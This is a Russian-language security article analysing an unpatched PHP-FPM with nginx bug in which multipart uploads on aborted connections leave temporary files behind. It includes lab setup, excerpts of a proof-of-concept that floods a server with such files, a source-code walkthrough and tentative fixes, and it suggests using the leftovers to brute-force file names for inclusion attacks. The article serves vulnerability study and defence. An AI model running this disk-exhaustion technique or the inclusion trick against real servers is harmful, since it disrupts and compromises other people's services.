В самом конце января в багтрекере PHP появилось описание интересного бага: некоторые сайты можно вывести из строя, забив все свободное место временными файлами. Уязвимость до сих пор не устранена. Давай посмотрим, как ее эксплуатировать.
Проблема возникает, когда PHP работает в связке с веб-сервером nginx. Воспользовавшись некорректной логикой при работе с дескрипторами запросов, злоумышленник может заставить сервер не удалять временные файлы, которые создаются при работе с данными форм вида multipart/form-data. Атакующий может отправить на сервер пачку запросов, которые будут оставлять после себя произвольное количество временных файлов до тех пор, пока не кончится место или не будут исчерпаны другие ресурсы.
На момент написания статьи баг еще не запатчен, поэтому сгодится PHP любой версии. Если тебе некогда возиться с исходниками и отладкой и ты хочешь только проверить работу эксплоита, то можешь просто поставить все пакеты из репозиториев. Например, я буду использовать версию 7.0.27 в контейнере Docker с Debian 9.
docker run --rm -ti --cap-add=SYS_PTRACE --security-opt seccomp=unconfined --name=phptmp --hostname=phptmp -p80:80 debian /bin/bash
Теперь установим nginx и PHP и запустим их.
apt-get update && apt-get install -y php-fpm nginx nano apt-get update && apt-get install -y php5-fpm php5-dbg nginx nano
Отредактируем конфиг текущего сайта в /etc/nginx/sites-enabled/default
, раскомментируем строки, которые отвечают за обработку файлов PHP, и изменим путь к файлу сокета. По дефолту это /run/php/php7.0-fpm.sock
. В твоем случае он может быть другим, поэтому рекомендую заглянуть в файл /etc/php/7.0/fpm/pool.d/www.conf
и поискать директиву listen.
location ~ .php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.0-fpm.sock; }
service php7.0-fpm start & service nginx start
Для успешной работы эксплоита тебе также понадобится любой скрипт на PHP, который будет доступен из веба.
echo > /var/www/html/index.php
Это все, что нужно для демонстрации уязвимости. А вот если ты хочешь разобраться в причинах и подробностях, то тут не обойтись без ручной компиляции PHP. Для начала установим необходимые зависимости.
apt-get install -y build-essential git autoconf automake libtool re2c bison libxml2-dev libgd-dev curl gdb vim nano
Я решил остановиться на той же версии — 7.0.27. Только в этот раз скачаем сорцы из гит-репозитория.
git clone --depth=1 --branch PHP-7.0.27 https://github.com/php/php-src.git cd php-src
Затем сконфигурируем с поддержкой PHP-FPM.
./buildconf --force ./configure --enable-debug --enable-fpm --with-fpm-user="www-data" --with-fpm-group="www-data"
Осталось скомпилировать и установить. Тут все стандартно.
make make install
Дальше в конфиге php-fpm
нужно настроить количество дочерних процессов. Чтобы было проще отлаживать, рекомендую поставить их в 1
.
pm = static pm.max_children = 1
При отладке нужно включить возможность отлаживать дочерние процессы в GDB.
gdb ./sapi/fpm/php-fpm set follow-fork-mode child r --nodaemonize --fpm-config /etc/php/7.0/fpm/php-fpm.conf
На этом с приготовлениями все.
На странице багтрекера PHP исследователь выложил вариант эксплоита. Самое время его скачать и попробовать запустить. PoC, кстати, тоже написан на PHP.
Давай заглянем в исходный код и посмотрим, что же там происходит. Переменные host
и path
отвечают за адрес хоста и путь до любого PHP-скрипта соответственно.
4: $host = 'localhost'; 5: $path = '/index.php';
Затем инициализируются переменные files
и request
. Первая отвечает за количество файлов, передаваемых в одном запросе к серверу, вторая — за количество этих самых запросов.
8: $files = 20; 9: $requests = 10;
Получается, что за один запуск эксплоита мы создаем 200 файлов. Дальше идет формирование POST-запроса, с помощью которого они будут отправляться. Этот шаг неинтересен, поэтому мы его пропускаем. Дальше начинается подключение к серверу и отправка готового реквеста.
41: for($i = 1; $i <= $requests; $i++){ ... 43: $fp = stream_socket_client($scheme.($ip ? $ip : $host).':'.($scheme ? 443 : 80), $errno, $errstr, 30); 44: fwrite($fp, $header.$body);
А дальше происходит небольшая магия.
44: fwrite($fp, $header.$body); 45: stream_socket_shutdown($fp, STREAM_SHUT_RDWR); 46: fclose($fp);
После отправки данных сокету обмен данными с ним останавливается. То есть соединение закрывается, и скрипт не ждет ответа от сервера. Из-за этого получается, что nginx обрывает общение с PHP до того, как оно будет нормально завершено.
Давай обратимся к исходникам. Вообще, весь процесс загрузки файлов описан в спецификации Form-based File Upload in HTML с идентификатором RFC1867. И исходник из PHP, который занимается обработкой загруженных файлов, имеет такое же название. В нем нас интересует метод SAPI_POST_HANDLER_FUNC
.
616: /* read until a boundary condition */ 617: static int multipart_buffer_read(multipart_buffer *self, char *buf, size_t bytes, int *end) 618: {
Функция php_open_temporary_fd_ex
открывает временный файл на запись.
1012: blen = multipart_buffer_read(mbuff, buff, sizeof(buff), &end); ... 1019: fd = php_open_temporary_fd_ex(PG(upload_tmp_dir), "php", &temp_filename, 1); 1020: upload_cnt--; 1021: if (fd == -1) { 1022: sapi_module.sapi_error(E_WARNING, "File upload error - unable to create a temporary file"); 1023: cancel_upload = UPLOAD_ERROR_E; 1024: }
Дальше выполняется запись в файл переданного в запросе содержимого.
1058: wlen = write(fd, buff, blen);
06: $file = 'Hey, look at me, I’m a temporary file content.';
После того как скрипт index.php
отработает (а он у нас пустой, так что работать ему недолго), выполняются процедуры по освобождению памяти, очистке данных, которые были использованы в процессе, и прочие полезные вещи. Все они объединены в метод php_request_shutdown
.
1969: fastcgi_request_done: ... 1995: php_request_shutdown((void *) 0);
1781: void php_request_shutdown(void *dummy) 1782: {
Нас интересует момент вызова функции sapi_deactivate
.
1861: /* 12. SAPI related shutdown (free stuff) */ 1862: zend_try { 1863: sapi_deactivate(); 1864: } zend_end_try();
В ее теле выполняется метод destroy_uploaded_files_hash
. Он удаляет все временные файлы, которые были созданы для работы с пользовательскими данными, отправленными через форму с типом содержимого multipart/form-data
.
501: SAPI_API void sapi_deactivate(void) 502: { ... 535: if (SG(rfc1867_uploaded_files)) { 536: destroy_uploaded_files_hash(); 537: }
207: PHPAPI void destroy_uploaded_files_hash(void) /* {{{ */ 208: { 209: zend_hash_apply(SG(rfc1867_uploaded_files), unlink_filename); 210: zend_hash_destroy(SG(rfc1867_uploaded_files)); 211: FREE_HASHTABLE(SG(rfc1867_uploaded_files)); 212: }
Только вот выполнение не доходит до этого метода. Перед ним выполняется метод, указанный в методе deactivate
текущего модуля. В нашем случае это FPM/FastCGI
и вызывается функция sapi_cgi_deactivate
.
532: if (sapi_module.deactivate) { 533: sapi_module.deactivate(); 534: } 535: if (SG(rfc1867_uploaded_files)) { 536: destroy_uploaded_files_hash(); 537: }
816: static int sapi_cgi_deactivate(void) /* {{{ */ 817: { ... 822: if (SG(sapi_started)) { 823: if ( ... 827: !fcgi_finish_request((fcgi_request*)SG(server_context), 0)) {
На этом этапе завершается обработка всех запросов и результаты отправляются в соответствующие сокеты.
1661: int fcgi_finish_request(fcgi_request *req, int force_close) 1662: { 1663: int ret = 1; 1664: 1665: if (req->fd >= 0) { 1666: ret = fcgi_end(req); 1667: fcgi_close(req, force_close, 1); 1668: } 1669: return ret; 1670: }
За этот процесс отвечает цепочка вызова функций fcgi_end
→ fcgi_flush
→ safe_write
→ write
.
1652: int fcgi_end(fcgi_request *req) { 1653: int ret = 1; 1654: if (!req->ended) { 1655: ret = fcgi_flush(req, 1); 1656: req->ended = 1; 1657: } 1658: return ret; 1659: } 1510: int fcgi_flush(fcgi_request *req, int end) 1511: { ... 1514: close_packet(req); ... 1530: if (safe_write(req, req->out_buf, len) != len) { 922: static inline ssize_t safe_write(fcgi_request *req, const void *buf, size_t count) 923: { ... 948: ret = write(req->fd, ((char*)buf)+n, count-n);
Метод write()
пытается записать в сокет информацию, которую возвращает интерпретатор PHP. Но ему это не удается, потому что сокет уже закрыт: соединение с nginx было прервано эксплоитом без ожидания и чтения ответа. После выполнения этой конструкции процессу php-fpm
отправляется сигнал SIGPIPE. Википедия дает нам исчерпывающее определение:
В POSIX-системах, SIGPIPE — сигнал, посылаемый процессу при записи в соединение (пайп, сокет) при отсутствии или обрыве соединения с другой (читающей) стороной.
Так как изначально вся эта вереница вызовов была инициирована конструкцией вида zend_try
, дальнейшее выполнение sapi_deactivate
прекращается благодаря zend_end_try
.
1861: /* 12. SAPI related shutdown (free stuff) */ 1862: zend_try { 1863: sapi_deactivate(); 1864: } zend_end_try();
Временные файлы не очищаются и остаются на своих местах. Стоит только добавить в эксплоит функцию чтения данных (fread) с сервера до того, как разрывать соединение, и он перестанет работать. ????
35: $fp = stream_socket_client($scheme.($ip ? $ip : $host).':'.($scheme ? 443 : 80), $errno, $errstr, 30000); 36: fwrite($fp, $header.$body); 37: fread($fp, 1); // спасибо за нейтрализацию эксплоита 38: fclose($fp);
Как видишь, уязвимость интересная и может помочь в раскрутке всевозможных инклудов. Например, когда не знаешь путей или нет прав на запись в папку. Сбрутить имя временного файла гораздо проще, когда у тебя этих файлов несколько десятков тысяч!
Официального фикса пока что не существует, поэтому под прицелом — большое количество сервисов. Уязвима также связка nginx + PHP, где проксификация происходит по протоколу TCP.
Идеальным фиксом будет отключить возможность загрузки файлов, выставив опцию file_uploads
в Off. Но для большинства проектов это вряд ли приемлемо, потому что картиночки все же нужно как-то постить. ????
В качестве временного решения можно попробовать пересобрать PHP, обернув вызов sapi_module.deactivate()
в конструкцию zend_try
. Но я не настоящий сварщик, и это может привести к непредсказуемым последствиям.
532: if (sapi_module.deactivate) { 533: zend_try { /* added */ 534: sapi_module.deactivate(); 535: } zend_end_try(); /* /added */ 536: }
Если у тебя есть более безболезненный и правильный способ избавиться от уязвимости, не стесняйся и пиши.
Читайте также
Последние новости